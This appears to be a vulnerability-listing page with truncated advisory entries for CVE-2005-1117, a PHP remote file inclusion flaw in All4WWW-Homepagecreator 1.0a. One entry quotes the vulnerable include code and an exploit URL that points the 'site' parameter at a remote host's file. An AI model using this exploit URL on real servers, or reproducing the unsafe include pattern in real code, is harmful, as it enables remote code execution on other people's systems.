EUVD-2005-1120

Malware in sbrugna...

CVE-2005-1117

PHP remote file inclusion vulnerability in index.php in All4WWW-Homepagecreator 1.0a allows remote attackers to execute arbitrary PHP code by modifying the site parameter to reference a URL on a remote web server that contains the code...

[UNIX] All4WWW-Homepagecreator site Parameter Command Execution

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source...

CVE-2005-1117

CVE-2005-1117 concerns All4WWW-Homepagecreator 1.0a, where index.php is vulnerable to PHP remote file inclusion via manipulation of the site parameter to reference a remote URL. The underlying issue is unsafe inclusion of external PHP code, enabling arbitrary code execution on the server. The NVD...

CVE-2005-1117

PHP remote file inclusion vulnerability in index.php in All4WWW-Homepagecreator 1.0a allows remote attackers to execute arbitrary PHP code by modifying the site parameter to reference a URL on a remote web server that contains the code...

All4WWW-Homepagecreator Remote Command Execution

Script: All4WWW-Homepagecreator Version: v1.0a Vendor: http://www.All4WWW.com I. Bug Code On index.php ... if!$site $site="home"; include "$site.dat"; ... II. Exploit vuln-host/index.php?site=http://host/some-file PS.: The vendor wasn't inform. by DominusVis Infektion Group...

All4WWW-HomePageCreator 1.0 - 'index.php' Remote File Inclusion

source: https://www.securityfocus.com/bid/13169/info All4WWW-Homepagecreator is affected by an arbitrary remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an 'include' function call. An attacker may...